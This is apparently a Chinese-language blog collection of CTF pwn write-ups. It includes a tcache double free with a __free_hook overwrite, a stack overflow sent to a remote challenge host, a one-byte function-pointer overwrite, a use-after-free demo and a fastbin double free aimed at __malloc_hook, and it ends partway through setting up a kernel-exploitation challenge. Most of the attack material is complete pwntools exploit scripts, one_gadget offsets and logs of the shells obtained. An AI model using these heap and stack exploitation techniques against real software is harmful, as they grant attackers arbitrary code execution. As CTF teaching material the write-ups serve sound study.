$2 = 0x3ebc40
pwndbg>
0x7ffab2bde000 这个地址就是libc的实际加载地址,它和main_arena的偏移是固定的
加载地址会变但是这个偏移是不会变的,这样可以获取到远程的libc的加载地址
所以得到main_arena地址就可以计算libc_base了
for i in range(6):
delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset
这里减96时因为main_arena地址在这个位置
0x563b2fd6b2e0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x7ffab2fc9ca0 <main_arena+96>,
bk = 0x7ffab2fc9ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
因为offset = main_arena-libc_addr
所以libc_base = main_arena-offset
这里有个不明白的地方,在使用one_gadget时查找libc-2.28.so会直接报错 所以这里使用的libc-2.27.so进行做题的~~
ios@Sec:~$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ios@Sec:~$
有了libc base 就可以直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。创建一个不大于0x408的chunk,free掉后即可进入tcache,可以修改tcache的fd为free_hook的地址,进行两次分配后,即可分配到free_hook的地址,再次使用developer的隐藏功能直接把free_hook改成onegadget即可getshell
exp
from pwn import *
p = process('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def create(idx):
log.info(p.recvuntil('select your choice :'))
p.sendline('1')
log.info(p.recvuntil('how much initial eth? :'))
p.sendline(str(idx))
def delete(idx,c):
log.info(p.recvuntil('select your choice :'))
p.sendline('3')
log.info(p.recvuntil('input wallet no :'))
p.sendline(str(idx))
log.info(p.recvuntil('how much you wanna withdraw? :'))
p.sendline(str(c))
def prints():
log.info(p.recvuntil('select your choice :'))
p.sendline('4')
def dev(idx,c):
log.info(p.recvuntil('select your choice :'))
p.sendline('6')
log.info(p.recvuntil('input wallet no :'))
p.sendline(str(idx))
log.info(p.recvuntil('new eth :'))
p.sendline(str(c))
create(0x100)#0
create(0x110) #1//防止合并
delete(0,0x100)#free 0 all
delete(0,0) #满足free条件后 double free
prints() #leak heap
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
#gdb.attach(p)
#填满 tcache 7 上方以填入一次 所以这里填充6次即可
for i in range(6):
delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset
#print hex(main_arena)
gdb.attach(p)
#gdb.attach(p)
free_hook = libc_base+libc.sym['__free_hook']
print hex(free_hook)
delete(1,0x110)
dev(1,p64(free_hook))
create(0x110)
create(0x110)
one_gadget=libc_base+0x4f322
dev(3,p64(one_gadget))
delete(2,0x110)
p.interactive()
4. Show all wallets
5. exit
select your choice :
[*] input wallet no :
[*] how much you wanna withdraw? :
[*] Switching to interactive mode
$ ls
1.py Documents exp.py Music pwntools
core Downloads god-the-reum Pictures Templates
Desktop examples.desktop god-the-reum.nam PublicVideos
$
]]>查看ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-3Bh]
int v5; // [esp+2Ch] [ebp-10h]
int v6; // [esp+30h] [ebp-Ch]
int *v7; // [esp+34h] [ebp-8h]
v7 = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
v6 = 2;
v5 = 0;
puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
puts("What... is your name?");
fgets(&s, 43, stdin);
if ( strcmp(&s, "Sir Lancelot of Camelot\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is your quest?");
fgets(&s, 43, stdin);
if ( strcmp(&s, "To seek the Holy Grail.\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is my secret?");
gets(&s); //存在漏洞
if ( v5 == 0xDEA110C8 )
print_flag();
else
puts("I don't know that! Auuuuuuuugh!");
return 0;
}
分析:程序流程很简单 需要回答两个问题 后达到漏洞点 存在溢出 需要满足 让v5=0xDEA110C8时 print flag
char s; // [esp+1h] [ebp-3Bh]
int v5; // [esp+2Ch] [ebp-10h]
s到v5的offset =0x3b-0x10=0x2b
所以可以构造exp 得到flag
####exp
from pwn import *
context.log_level = 'debug'
p = remote('pwn.tamuctf.com',4321)
log.info(p.recvuntil('What... is your name?'))
p.sendline(str('Sir Lancelot of Camelot'))
log.info(p.recvuntil('What... is your quest?'))
p.sendline('To seek the Holy Grail.')
sleep(1)
log.info(p.recvuntil('What... is my secret?'))
payload = 'a'*0x2b+p32(0xDEA110C8)
p.sendline(payload)
p.interactive()
####runing
ios@Sec:~$ python pwn1.py
[+] Opening connection to pwn.tamuctf.com on port 4321: Done
[DEBUG] Received 0x81 bytes:
'Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.\n'
'What... is your name?\n'
[*] Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
[DEBUG] Sent 0x18 bytes:
'Sir Lancelot of Camelot\n'
[DEBUG] Received 0x17 bytes:
'What... is your quest?\n'
[*]
What... is your quest?
[DEBUG] Sent 0x18 bytes:
'To seek the Holy Grail.\n'
[DEBUG] Received 0x16 bytes:
'What... is my secret?\n'
[*]
What... is my secret?
[DEBUG] Sent 0x30 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 61 61 61 c8 10 a1 de 0a │aaaa│aaaa│aaa·│····│
00000030
[*] Switching to interactive mode
[DEBUG] Received 0x31 bytes:
'Right. Off you go.\n'
'gigem{34sy_CC428ECD75A0D392}\n'
'\n'
Right. Off you go.
gigem{34sy_CC428ECD75A0D392}
载入ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-27h]
int *v5; // [esp+20h] [ebp-8h]
v5 = &argc;
setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
puts("Which function would you like to call?");
gets(&s);
select_func(&s);
return 0;
}
ghidra
undefined4 main(void)
{
char local_2f [31];
undefined *local_10;
local_10 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
puts("Which function would you like to call?");
gets(local_2f);
select_func(local_2f);
return 0;
}
gets接收大小为31
gets接收字符串s 然后 执行select_func 函数 跟进
int __cdecl select_func(char *src)
{
char dest; // [esp+Eh] [ebp-2Ah]
int (*v3)(void); // [esp+2Ch] [ebp-Ch]
v3 = (int (*)(void))two;
strncpy(&dest, src, 0x1Fu);
if ( !strcmp(&dest, "one") )
v3 = (int (*)(void))one;
return v3();
}
这里可以对照ghidra 分析
void select_func(char *param_1)
{
int iVar1;
char local_2e [30]; 定义了char dest [30]
code *local_10;
local_10 = two;
strncpy(local_2e,param_1,0x1f);
iVar1 = strcmp(local_2e,"one");
if (iVar1 == 0) {
local_10 = one;
}
(*local_10)();
return;
}
src为gets接收过来的字符串 strncpy函数将src写入dest
strncpy函数只能接受dest [30]
查看 shell函数地址
two .text 000006AD
print_flag .text 000006D8
one .text 00000754
发现 two函数地址与print flag后两位不同
再查看条件判断 只需要利用 strncpy函数1字节溢出修改two地址 即可
from pwn import *
p = process('./pwn2')
p.recvuntil("Which function would you like to call?\n")
payload = 'a'*30+'\xd8'
p.sendline(payload)
p.interactive()
]]>主要报错原因是因为 capstone 和 unicorn 安装的问题
这里贴出解决办法
brew install capstone && export MACOS_UNIVERSAL=no && pip install capstone
brew install unicorn && UNICORN_QEMU_FLAGS="--python=`whereis python`" pip install unicorn
之后再运行安装即可
]]>
迷途指针:也称悬空指针,指的是不指向任何合法的对象的指针,可以指向任何地址,并且对该地址的数值进行修改或删除,可能会造成意想不到的后果
野指针:未被初始化的指针,野指针所导致的错误和迷途指针非常相似,但野指针的问题更容易被发现
空指针:就是一个被赋值为0的指针,它不指向任何的对象或者函数
理解typedef void (*funcptr)(void)
typedef 只对已有的类型进行别名定义,不产生新的类型
#define 只是在预处理过程对代码进行简单的替换
typedef void ( *funcptr)(char *); //定义指针类型
void fun1(char string[]) //定义函数
{
printf("%s",string);
}
int main()
{
funcptr p1; //定义了一个该类型的指针p1
p1 = fun1; //p1指向函数一
p1("hey");
}
__malloc_hook 附近
64位下在 __malloc_hook - 0x23 + 0x8 处 的值 为 p64(0x7f)
然后想办法修改 位于 0x70 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x70 的 chunk 就可以修改 __malloc_hook
main_arean->fastbinY 数组
该数组用于存放 指定大小的 fastbin 的表头指针,如果为空则为 p64(0) , 而堆的地址基本 是 0x5x 开头的(其在内存就是 xx xx..... 5x), 此时如果在 main_arean->fastbinY 的 相邻项为 0x0 (相邻大小的 fastbin), 就会出现 5x 00 00 00... , 所以就可以出现 0x000000000000005x ,可以把它作为 fastbin 的 size 进行 fastbin attack ,不过作为 fastbin attack 的 size 不能 为 0x55
于是想办法修改 位于 0x50 的 fastbin 的 chunk 的 fd 为 __malloc_hook - 0x23,然后分配几次 0x50 的 chunk 就可以分配到 main_arean, 然后就可以修改 main_arean->top
std* 结构体
在 std* 类结构体中有很多字段都会被设置为 0x0 , 同时其中的某些字段会有 libc 的地址大多数情况下 libc 是加载在 0x7f.... , 配合着 std* 中的 其他 0x0 的字段,我们就可以有 p64(0x7f) , 然后修改 位于 0x70 的 fastbin 的 chunk 的 fd 为该位置即可
pwndbg> x/20gx stdin
uaf漏洞成因
在free了堆块没有进行指针置null 导致产生迷途指针,由于申请大小小于256kb就先将内存卡标记为空闲状态,如果malloc相同大小的堆块,将可以再次使用该内存地址
简单例子
#include <stdio.h>
#include <string.h>
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*20);
memcpy(p1,"hey",20);
printf("p1 addr:%x,%s\n",p1,p1);
free(p1);/
char *p2;
p2 = (char *)malloc(sizeof(char)*40);
memcpy(p1,"hahah",40);
printf("p2 addr:%x,%s\n",p2,p1);
return 0;
}
编译
gcc -g uaf.c -o uaf
运行
ios@ios:~$ ./uaf
p1 addr:1b51010,hey
p2 addr:1b51440,hahah
虽然此处存在uaf ,free p1后没有置指针为null ,但是没有申请相同大小还是无法申请使用的同一内存地址
接下来malloc 相同大小
#include <stdio.h>
#include <string.h>
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*20);
memcpy(p1,"hey",20);
printf("p1 addr:%x,%s\n",p1,p1);
free(p1);/
char *p2;
p2 = (char *)malloc(sizeof(char)*20);
memcpy(p1,"hahah",20);
printf("p2 addr:%x,%s\n",p2,p1);
return 0;
}
编译
gcc -g uaf.c -o uaf
运行
ios@ios:~$ ./uaf
p1 addr:1353010,hey
p2 addr:1353010,hahah
发现成功申请到相同内存地址
简单getshell 利用
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
typedef void (*f_ptr)(char *);
void print(char string[])
{
printf("%s",string);
}
void getshell(char comm[])
{
system(comm);
}
int main()
{
f_ptr *p1 = (f_ptr*)malloc(sizeof(int)*4); //申请堆块大小
printf("p1 addr:%p\n",p1);
p1[1]=print;//使用p1数组指针指向print函数
p1[1]("hahahah\n");//传参
free(p1);//free后指针没有置0
f_ptr *p2 = (f_ptr*)malloc(sizeof(int)*4);//再次申请相同大小堆块
printf("p2 addr:%p\n",p2);
p2[1]=getshell;//使用p1数组指针指向getshell函数
p1[1]("/bin/sh");
return 0;
}
编译
gcc -g uaf.c -o uaf
运行
ios@ios:~$ ./uaf
p1 addr:0x24a0010
hahahah
p2 addr:0x24a0010
$ ls
Desktop Downloads Music Public te test.c uaf.c
Documents examples.desktop Pictures pwntools Templates uaf Videos
$
原理
堆块释放后对指针没有清空 出现迷途指针、导致可以再次释放该堆块
在glibc源码中有这样的处理
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx// 判断大小是否满足 fastbin相应bin的大小要求
Fastbin 在分配 chunk 时,只检查 p->size&0xfffffffffffff000是否满足等于的 fastbin的大小 ,而且不检查指针是否对齐。所以我们只要找到 size 为 fastbin 的范围,然后修改 位于 fastbin 的 chunk 的 fd 到这 ,分配几次以后,就可以分配到这个位置
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
改malloc__hook利用方式
__malloc_hook - 0x23 + 0x8 的 内容为 0x000000000000007f , 可以用来绕过 fastbin 分配的检查
读源码
int menu()
{
puts("1. add a note");
puts("2. show a note");
puts("3. delete a note");
puts("4. exit");
return puts("Your choice:");
}
可以得知该程序主要有三个功能
unsigned __int64 addnote()
{
v4 = __readfsqword(0x28u);
if ( (unsigned __int64)notenum > 0xF )
puts("FULL");
v0 = notenum;
note[v0] = malloc(0x60uLL);//
puts("Enter your note");
read(0, note[notenum], 0x60uLL);
puts("Want to keep your note?");
read(0, &buf, 7uLL);
if ( buf == 78 )
{
puts("OK,I will leave a backup note for you");
free(note[notenum]);
v1 = notenum;
note[v1] = malloc(0x20uLL);
}
++notenum;
puts("Done");
return __readfsqword(0x28u) ^ v4;
}
可以看到固定分配malloc size为0x60 可以考虑 Fastbin Attack
添加堆块操作
unsigned __int64 shownote()
{
puts("Which note do you want to show?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
puts((const char *)note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
打印当前指针所指堆块中的内容
unsigned __int64 freenote()
{
puts("Which note do you want to delete?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
free(note[v1]); //漏洞点
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
释放堆块 但是free后 指针没有清空 导致产生迷途指针 可以导致double free 以及uaf 利用
首先调试分析 leak libc_base
from pwn import *
context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(data):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("your note")
p.send(data)
p.recvuntil("keep your note?")
def show(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("show?")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("delete?")
p.sendline(str(idx))
add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
gdb.attach(p)
[+] Waiting for debugger: Done
[DEBUG] Received 0x4f bytes:
00000000 0a fb a4 6f 89 7f 0a 44 6f 6e 65 0a 31 2e 20 61 │···o│···D│one·│1. a│
00000010 64 64 20 61 20 6e 6f 74 65 0a 32 2e 20 73 68 6f │dd a│ not│e·2.│ sho│
00000020 77 20 61 20 6e 6f 74 65 0a 33 2e 20 64 65 6c 65 │w a │note│·3. │dele│
00000030 74 65 20 61 20 6e 6f 74 65 0a 34 2e 20 65 78 69 │te a│ not│e·4.│ exi│
00000040 74 0a 59 6f 75 72 20 63 68 6f 69 63 65 3a 0a │t·Yo│ur c│hoic│e:·│
0000004f
0x7f896fa4fb0a
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
在gdb中查看当前heap情况
pwndbg> heap
0x55da16209000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x7f896fa4fb0a <__realloc_hook+2>,
bk = 0x7f896fa4fbd8 <main_arena+184>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55da16209070 FASTBIN {
prev_size = 112,
size = 49,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55da162090a0 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa31 <frame_dummy+17>,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55da1620a0b0 PREV_INUSE {
prev_size = 0,
size = 130897,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>
看到 leak出的地址为 fd = 0x7f896fa4fb0a <__realloc_hook+2>,
所以我们可以leak出__realloc_hook地址 从而计算得到libc_base 、malloc_hook_addr
__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
print "malloc_addr:"+hex(malloc_addr)
当然要利用double还需要绕过 main_arean是否指向向了原来的一个chunk 这个检查。这个就非常容易了,只需要free(p1);free(p2);free(p1)就可以绕过了
绕过后 fastbin list中会多指向一个我们的fake chunk 此时就可以实现任意地址写入了
onegadget
ios@ios:~$ ldd littlenote
linux-vdso.so.1 => (0x00007ffe0e13f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fccaf9d7000)
/lib64/ld-linux-x86-64.so.2 (0x00007fccaffa4000)
ios@ios:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ios@ios:~$
使用one_gadget 当然还要满足一些其他条件 例如
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
需要满足rsp+0x50位置的值为0 否则无法成功利用 。需要重新寻找其他满足条件的one gadget
fastbin size检查绕过
在__malloc_hook - 0x23+0x8 处有合适的 size 0x7f
pwndbg> x/4gx 0x7fda4f7ccb10
0x7fda4f7ccb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fda4f7ccb20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x7fda4f7ccb10-0x23
0x7fda4f7ccaed <_IO_wide_data_0+301>: 0xda4f7cb260000000 0x000000000000007f
0x7fda4f7ccafd: 0xda4f48de20000000 0xda4f48da0000007f
pwndbg> x/4gx 0x7fda4f7ccb10-0x23+0x8
0x7fda4f7ccaf5 <_IO_wide_data_0+309>: 0x000000000000007f 0xda4f48de20000000
0x7fda4f7ccb05 <__memalign_hook+5>: 0xda4f48da0000007f 0x000000000000007f
pwndbg>
所以构造当前可控fd为 __malloc_hook - 0x23即可
pwndbg> fastbin
fastbins
0x20: 0x0
0x30: 0x5614c91bb070 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5614c91bc120 —▸ 0x5614c91bc0b0 —▸ 0x7fda4f7ccaed (_IO_wide_data_0+301) ◂— 0xda4f48de20000000
0x80: 0x0
pwndbg>
可以看到当前fastbin 0x70大小的堆块 两次分配0x70堆块就可以分配到malloc_hook(0x60size+堆头0x10)
此时堆块addr=malloc_hook-0x13
所以再次申请堆块填充’a’*13+one_gadget 即可成功执行malloc hook 返回到one_gadget地址 拿到shell
from pwn import *
context.log_level="debug"
p = process("./littlenote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(data):
p.recvuntil("choice:")
p.sendline(str(1))
p.recvuntil("your note")
p.send(data)
p.recvuntil("keep your note?")
def show(idx):
p.recvuntil("choice:")
p.sendline(str(2))
p.recvuntil("show?")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("choice:")
p.sendline(str(3))
p.recvuntil("delete?")
p.sendline(str(idx))
add("aaa")
p.sendline('N')
delete(0)
add("\n")
p.sendline('Y')
show(1)
#gdb.attach(p)
p.recvuntil('\n')
__realloc_hook_addr = u64(p.recv(6).ljust(8,'\x00'))-2
print hex(__realloc_hook_addr)
libc_base =__realloc_hook_addr-libc.symbols['__realloc_hook']
print hex(libc_base)
malloc_addr = libc.symbols['__malloc_hook']+libc_base
ret_malloc = malloc_addr-0x13
print 'ret_malloc_addr:'+hex(ret_malloc)
__memalign_hook = libc.symbols['__memalign_hook']+libc_base
_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']+libc_base
print "malloc_addr:"+hex(malloc_addr)
one_gadget=libc_base+0xf02a4
print hex(one_gadget)
add("aaa")
p.sendline('Y')
add("bbb")
p.sendline('Y')
add("ccc")
p.sendline('Y')
delete(2)
delete(3)
delete(2)
add(p64(malloc_addr-0x23))
print "nnnn:"+hex(malloc_addr-0x23)
gdb.attach(p)
p.sendline('Y')
add("ddd")
p.sendline('Y')
add("eee")
p.sendline('Y')
#gdb.attach(p)
add('a'*0x13+p64(one_gadget))
p.sendline('Y')
delete(0)
p.interactive()
成功拿到shell
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0xbb bytes:
'core\t Downloads\t littlenote one_gadget pwntools\ttest.c\tVideos\n'
'Desktop examples.desktop lt.py\t Pictures te\t\tuaf\n'
'Documents libc.so.6\t Music\t Public Templates\tuaf.c\n'
core Downloads littlenote one_gadget pwntools test.c Videos
Desktop examples.desktop lt.py Pictures te uaf
Documents libc.so.6 Music Public Templates uaf.c
$
推荐文章
]]>首先捋清kernel pwn 与 用户态下的pwn的区别
正常用户态pwn 控制流程以后 跳转到 bin/sh 就可以了
而kernel pwn 还需要维护堆栈平衡 目的从取得shell变成了取得root权限shell
现代操作系统一般都至少分为内核态和用户态。一般应用程序通常运行于用户态,而当应用程序调用系统调用时候会执行内核代码,此时会处于内核态。一般的,应用程序是不能随便进入内核态的而是需要向OS申请,因为内核态拥有更高的权限。所以当程序运行的时候,其实是有两个栈的,一个位于用户态,一个位于内核态。他们之间会按照操作系统的规定进行通信
内核栈和用户栈分别处于内核空间和用户空间两个不同的空间中,因此,这两个栈是相互独立的,所以参数传递不能只是简单的压栈出栈,因此,Linux内核中主要是才用寄存器的方式来完成这个任务。
Intel x86架构使用了4个级别来标明不同的特权级权限。R0实际就是内核态,拥有最高权限。而一般应用程序处于R3状态--用户态。在Linux中,还存在R1和R2两个级别,一般归属驱动程序的级别。在Windows平台没有R1和R2两个级别,只用R0内核态和R3用户态。在权限约束上,使用的是高特权等级状态可以阅读低等级状态的数据,例如进程上下文、代码、数据等等,但是反之则不可。R0最高可以读取R0-3所有的内容,R1可以读R1-3的,R2以此类推,R3只能读自己的数据。因为shelllog应该写在内核中
ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理,就是对设备的一些特性进行控制,例如串口的传输波特率、马达的转速等等。它的调用个数如下:
int ioctl(int fd, ind cmd, …);
其中fd是用户程序打开设备时使用open函数返回的文件标示符,cmd是用户程序对设备的控制命令,至于后面的省略号,那是一些补充参数,一般最多一个,这个参数的有无和cmd的意义相关。
ioctl函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。
在驱动程序中实现的ioctl函数体内,实际上是有一个switch{case}结构,每一个case对应一个命令码,做出一些相应的操作
具体解释:ioctl
调用swapgs命令,在gs寄存器的内核与用户态值之间切换,为离开内核做准备
发生系统调用时,这是处于用户态的进程主动请求切换到内核态的一种方式。用户态的进程通过系统调用申请使用操作系统提供的系统调用服务例程来处理任务。而系统调用的机制,其核心仍是使用了操作系统为用户特别开发的一个中断机制来实现的,即软中断。
当一个中断服务程序执行完毕时,CPU将恢复被中断的现场,返回到引起中断的程序中。为了实现此项功能,指令系统提供了一条专用的中断返回指令。该指令的格式如下:
IRET/IRETD
该指令执行的过程基本上是INT指令的逆过程,具体如下:
1.从栈顶弹出内容送入IP;
2.再从新栈顶弹出内容送入CS;
3.再从新栈顶弹出内容送入标志寄存器;
下载下来题目 查看下目录
➜ give_to_player ls
bzImage core.cpio leak.py vmlinux vmlinux.id1 vmlinux.nam
core gdb.sh start.sh vmlinux.id0 vmlinux.id2 vmlinux.til
去除ida调试文件 主要有以下文件
bzImage :可以理解为压缩后的kernel文件 //可利用./extract-vmlinux ./bzImage > vmlinux 提取静态kernel文件
core.cpio:打包好的磁盘文件
vmlinux :静态kernel文件 //可以直接在此中查找gadget
start.sh:启动环境
根据p4nda师傅理解
*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的
查看下start.sh
➜ give_to_player cat start.sh
qemu-system-x86_64 \
-m 128M \ 原本这里给的64M导致 环境无法运行 可以修改大于64M即可
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \ 这里设置了默认的gdb调试端口 1234
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
发现环境开启了kaslr 未开启smep
解包下core.cpio
mkdir core
mv core.cpio ./core/core.cpio.gz
cd core
gunzip core.cpio.gz
cpio -idmv < core.cpio
ls
➜ core ls
bin core.id2 core.til init linuxrc sbin usr
core.id0 core.ko etc lib proc sys vmlinux
core.id1 core.nam gen_cpio.sh lib64 root tmp
除去ida调试文件
可以看到我们的驱动文件
core.ko
以及磁盘其他目录
查看下init
➜ core cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
看到 程序将/proc/kallsyms写入了 /tmp/kallsyms 并且使kptr_restrict 设置为1导致不能直接通过/proc/kallsyms 查找commit_creds,prepare_kernel_cred
但是可以通过/tmp/kallsyms 中查找获取
接着可以看到 poweroff -d 120 -f & 设置了定时关机 这里删除就可以防止自动关机
由于题目提供了打包脚本 gen_cpio.sh
➜ core cat gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
#$1 就是我们打包后的命名
./gen_cpio.sh core.cpio
.
......
......
./lib64/libm.so.6
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125596 块
接着
mv core.cpio ../
重启 kernel即可
我们写好的exp 也放在解包后的目录里,接着重新打包运行即可在虚拟机里查看到exp
target remote localhost:1234
通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载
.text 段的地址可以通过 /sys/modules/core/section/.text 来查看
/ $ cat /sys/module/core/sections/.text
cat: can't open '/sys/module/core/sections/.text': Permission denied
缺少权限
需要重新配置init
➜ core cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
重新打包
➜ core ./gen_cpio.sh core.cpio
.
./vmlinux
........
........
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125596 块
➜ core mv core.cpio ../
➜ give_to_player ./start.sh
再次查看
➜ cat /sys/module/core/sections/.text
0xffffffffc028b000
所以加载 符号表
pwndbg> add-symbol-file ./core/core.ko 0xffffffffc028b000
add symbol table from file "./core/core.ko" at
.text_addr = 0xffffffffc028b000
Reading symbols from ./core/core.ko...(no debugging symbols found)...done.
在core驱动下断
pwndbg> b core_read
远程调试
target remote localhost:1234
c
__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rbx
v3 = a3;
switch ( (_DWORD)a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD, a3);
off = v3;
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(v3);
break;
}
return 0LL;
}
可以看到这是自行定义的ioctl、并且全局变量可控
传入 0x6677889A进入core_copy_func函数
传入 0x6677889B 进入 core_read函数
传入 0x6677889C 设置off参数
signed __int64 __fastcall core_copy_func(signed __int64 a1, __int64 a2)
{
signed __int64 result; // rax
__int64 v3; // [rsp-50h] [rbp-50h]
unsigned __int64 v4; // [rsp-10h] [rbp-10h]
v4 = __readgsqword(0x28u);
printk(&unk_215, a2);
if ( a1 > 63 )
{
printk(&unk_2A1, a2);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v3, &name, (unsigned __int16)a1);
}
return result;
}
注意qmemcpy这里
在执行前 定义 signed int64 a1 但是在执行时unsigned int16)a1
signed和unsigned用于修饰整数类型(包括char,从ANSI C89标准开始支持)。
